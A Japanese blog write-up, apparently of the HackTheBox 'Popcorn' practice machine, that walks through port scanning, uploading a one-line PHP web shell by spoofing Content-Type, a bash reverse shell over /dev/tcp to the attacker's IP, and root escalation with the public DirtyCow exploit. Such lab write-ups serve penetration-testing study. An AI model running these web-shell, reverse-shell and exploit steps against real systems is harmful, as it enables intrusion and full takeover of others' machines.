HackTheBox Popcorn WriteUp

今回はHackTheBoxのMediumマシン「Popcorn」のWriteUpです。
名前からはどのようなマシンなのか想像つきませんね。。楽しみです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/6d6d0f81-51fd-a404-2d14-febdf8cc4ad5.png)

グラフはいつものMediumマシンよりも少し簡単め？でしょうか。
評価はかなり高いので期待できます！サクッと攻略目指して頑張ります～！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Popcorn

### 列挙

それでは攻略開始しましょう。
まずは```nmap```を実行して、ポートスキャンを行います。

```bash
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.10.6

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12
```

22番と80番がオープンしています。ブラウザからアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/40021af5-011c-5206-4475-cf4ba4ea0f46.png)

Apacheのデフォルトページが表示されました。
さすがに情報がなさすぎるので、ディレクトリ探索を行います。

```
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://popcorn.htb/FUZZ -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

                        [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 207ms]
index                   [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 3858ms]
test                    [Status: 200, Size: 47410, Words: 2478, Lines: 655, Duration: 183ms]
torrent                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 182ms]
rename                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 181ms]
                        [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 181ms]
:: Progress: [220547/220547] :: Job [1/1] :: 220 req/sec :: Duration: [0:17:27] :: Errors: 1 ::
```

いくつか新規のパスを確認できました。いくつか気になるものがありますが、```torrent```が名前的にも怪しいのでアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0010a660-25c6-ff8c-f875-2d0974199d9b.png)

Torrent Hosterというサイトが表示されました。ログイン機能があるようなので、簡単にSQLインジェクションを試しましたが発火しません。
サイト内を見てみると、アップロード機能などがありそうですがログインしていないと使用できないようなので、ユーザを新規登録します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7476a1c2-178b-c122-2001-71c770fe32fa.png)

登録できたらログインしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5ee4f9b4-2573-1b1c-a1f2-a8a8ef763ca2.png)

ログインに成功しました。

### WEB Shell via File Upload

ログインしたことにより、アップロード機能等を使用できるようになりました。アップロード機能はよく脆弱性が見つかるので気になります。アクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/71d62f17-3efb-0709-bea7-9af1efc5842d.png)

torrentファイルをアップロードできる画面が表示されました。少し試したところ、この機能ではtorrentファイルのみアップロードできるように制限されており、WEBシェルは作成できそうにありません。とりあえず試しに適当なtorrentファイルをアップロードしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/eff2fd03-47b1-7be5-da10-16134799c1a2.png)

アップロードできました。詳細ページ？ではカテゴリやサイズが表示されており、少し下に行くと...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/073c86de-e239-dab2-ff1f-bdbd7e9133e0.png)

スクリーンショットやコメントを追加するボタンも表示されました。「Edit this torrent」というボタンを押すことでスクリーンショットをアップロードできそうです。押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f26eb890-bd3b-e63c-7b0c-0402c9b7acea.png)

アップロード画面が表示されましたね。見てみると、許可されているファイルタイプが指定されていますが、スクリーンショットを追加する機能は正常に制御されていないかもしれません。試してみましょう。まずPHPファイルを用意します。

```bash
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ cat shell.php 
<?php system($_GET['cmd']); ?>
```

作成したファイルをアップロードしてみます。が、アップロードする前にBurpSuiteのインターセプト機能をONにしておき、アップロードによって生じたリクエストを捕捉します。
捕捉後、```Content-Type```を```application/x-php```から```image/png```へ変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/eb861443-98a6-a658-cf14-b830ef64b6f2.png)

こちらでアップロードしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/48312aab-3a3f-6571-d025-34f49f389f2e.png)

アップロードに成功しました！あとはアクセスするだけですね。ファイルパスを確認するためにtorrentファイルの詳細ページを再読み込みしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0ca8e19e-d2ca-c0f7-68c9-9d2a0d05f175.png)

スクリーンショットの部分に「Image File Not Found!」というメッセージが表示されています。そのメッセージをクリックしてBurpSuiteのログを確認すると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a8d22f6b-90c8-04b7-c16e-e36f98fadb07.png)

アップロードしたファイルのパスが確認できました。
あとはこのファイルにアクセスするだけです。```cmd```パラメータには```id```を指定します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b3dabc87-9f45-022e-cb04-70f9600b2948.png)

```id```コマンドの実行結果が確認できました！

## www-data としてのシェル

それでは、シェルを取得していきます。まずは待ち受けを開始しましょう。

```bash
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ nc -lnvp 2121 
listening on [any] 2121 ...
```

次に実行するコマンドを用意します。今回は以下のコマンドを使用しました。

```bash
bash -c 'bash -i >& /dev/tcp/10.10.14.6/2121 0>&1'
```

これで準備万端です。```cmd```パラメータに上記のコマンドを指定し、実行させましょう。
ブラウザはタイムアウトになりますが、待ち受けを確認すると...

```bash
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ nc -lnvp 2121 
listening on [any] 2121 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.6] 36748
bash: no job control in this shell
www-data@popcorn:/var/www/torrent/upload$ whoami
www-data
```

侵入成功です！

```bash
www-data@popcorn:/home/george$ ls -l
total 836
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Sep  7 05:46 user.txt
```

侵入できたユーザは```www-data```でしたが、ユーザフラグを読むことができました。

### 垂直権限昇格

それでは権限を昇格していきましょう。まずは```sudo -l```を実行してみます。

```bash
www-data@popcorn:/home/george$ sudo -l
[sudo] password for www-data: 
```

パスワードが求められるので```sudo```は使用できなさそうです。

### CVE-2016-5195 (DirtyCow)

次に、Linuxのバージョンを調査することにしました。```uname```を実行します。

```bash
www-data@popcorn:/home/george$ uname -r
2.6.31-14-generic-pae
```

カーネルバージョンが```2.6.31```であることがわかりました。このバージョンはあの超有名な脆弱性が存在していそうです。調べてみると以下のサイトを発見しました。

https://github.com/JlSakuya/Linux-Privilege-Escalation-Exploits

サイトによると、カーネルバージョン```2.6.22```から```4.8.3```まではDirtyCowに脆弱であることがわかります。実際に権限昇格できるか試してみましょう。
使用するPoCコードは以下のサイトにあります。

https://github.com/firefart/dirtycow

それでは攻撃を開始しましょう。まずはPoCコードをローカルへダウンロードします。

```bash
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ git clone https://github.com/firefart/dirtycow.git     
Cloning into 'dirtycow'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 26 (delta 0), reused 1 (delta 0), pack-reused 23 (from 1)
Receiving objects: 100% (26/26), 8.23 KiB | 4.12 MiB/s, done.
Resolving deltas: 100% (6/6), done.
```

次に、PoCコードをターゲットへ送信する必要があるので、Kali LinuxでHTTPサーバを立ち上げ、ターゲット側からダウンロードさせましょう。

```bash
-- Kali Linux
+[~/popcorn/dirtycow]
(σ▰>∇<)σ<10.10.14.6>$ python3 -m http.server 8021 

-- Target
www-data@popcorn:/tmp$ wget 10.10.14.6:8021/dirty.c
```

送信に成功したら、コンパイルしていきます。

```bash
www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
```

これで準備万端です！コンパイルして生成されたバイナリを実行しましょう。

```bash
www-data@popcorn:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fiiHVWY1/yAko:0:0:pwned:/root:/bin/bash

mmap: b780e000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'perplex'.

DONT FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
```

実行すると、パスワードの入力が求められます。これは新たにルートユーザとして作成するユーザ（```firefart```）のパスワードになります。

## root としてのシェル

それでは、新たに作成したユーザ（```firefart```）でログインしましょう。

```bash
www-data@popcorn:/tmp$ su firefart
Password: 
firefart@popcorn:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
```

ログインに成功し、```id```コマンドの結果からルートユーザとしての権限が得られていることがわかります！権限昇格成功です。

```bash
firefart@popcorn:~# ls -l
total 4
-rw------- 1 firefart root 33 2024-09-07 05:46 root.txt
```

ルートフラグも取得し、完全攻略達成です！

### 攻略を終えて

今回のマシンはMediumマシンでしたが、ひと昔前ということで最近のEasyマシンよりも簡単なのでは？と思いました笑
ただ脆弱性の発火自体はかなり綺麗で癖も強くなかったので、ペネトレーションテストの学習という点ではひと昔前のマシンが有力かなとも思いました。
DirtyCow自体は何度か攻撃したことがありますが、権限昇格の簡単さに毎回恐ろしいなと思うばかりです。何度も言いますが、バージョン管理重要ですね。。。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました！